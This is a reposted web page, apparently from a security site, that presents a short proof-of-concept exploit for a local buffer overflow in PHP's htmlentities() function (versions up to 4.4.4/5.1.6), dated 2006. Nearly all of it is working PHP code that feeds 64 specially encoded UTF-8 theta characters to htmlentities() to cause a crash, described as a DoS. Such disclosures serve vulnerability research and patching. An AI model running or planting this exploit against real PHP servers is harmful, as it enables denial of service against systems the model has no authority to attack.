|
PHP <= 4.4.4/5.1.6 htmlentities() Local Buffer Overflow PoC
|
|
来源：www.whitepaperclip.com 作者：Zarathu 发布时间：2006-11-29
|
|
<?php
/* Zarathu */
/* www.whitepaperclip.com */
//instantiate a string
$str1 = "";
for($i=0; $i < 64; $i++) {
$str1 .= toUTF(977); //MUST start with 977 before bit-shifting
}
htmlentities($str1, ENT_NOQUOTES, "UTF-8"); //DoS here
/*
htmlentities() method automatically assumes
it is a max of 8 chars. uses greek theta
character bug from UTF-8
*/
?><?php
function toUTF($x) {
return chr(($x >> 6) + 192) . chr(($x & 63) + 128);
}
?>
|
| |
|
[ 推荐]
[ 评论(0条)]
[返回顶部] [打印本页]
[关闭窗口] |
|
|
| |
